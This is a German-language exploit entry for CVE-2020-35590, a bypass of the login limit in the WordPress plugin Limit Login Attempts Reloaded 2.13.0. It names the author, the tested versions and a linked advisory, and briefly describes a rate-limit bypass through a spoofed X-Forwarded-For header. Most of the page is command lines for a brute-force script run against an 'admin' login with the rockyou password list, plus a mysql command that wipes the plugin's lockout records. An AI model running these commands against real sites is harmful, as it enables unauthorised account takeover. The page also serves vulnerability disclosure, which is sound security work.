
Brute-Force-Tool für WordPress Plugin Limit Login Attempts Reloaded >=2.13.0 - Login-Limit-Umgehung (CVE-2020-35590)
Exploit-Titel: WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - Umgehung der Anmeldebeschränkung
CVE: CVE-2020-35590
Datum: 2020-06-09
Exploit-Autor: N4nj0
Software-Link: https://wordpress.org/plugins/limit-login-attempts-reloaded/
Version: 2.13.0
Getestet auf: WordPress 5.4.1, 5.4.2
Sicherheitshinweis: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/
Das betroffene WordPress-Plugin soll einen Schutzmechanismus gegen Brute-Force-Angriffe darstellen und ist derzeit in mehr als 1 Million aktiven Installationen installiert.
Ich habe eine Umgehung der Ratenbegrenzung unter einer nicht standardmäßigen Konfiguration gefunden, die den Zweck des Plugins effektiv zunichtemacht.
./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"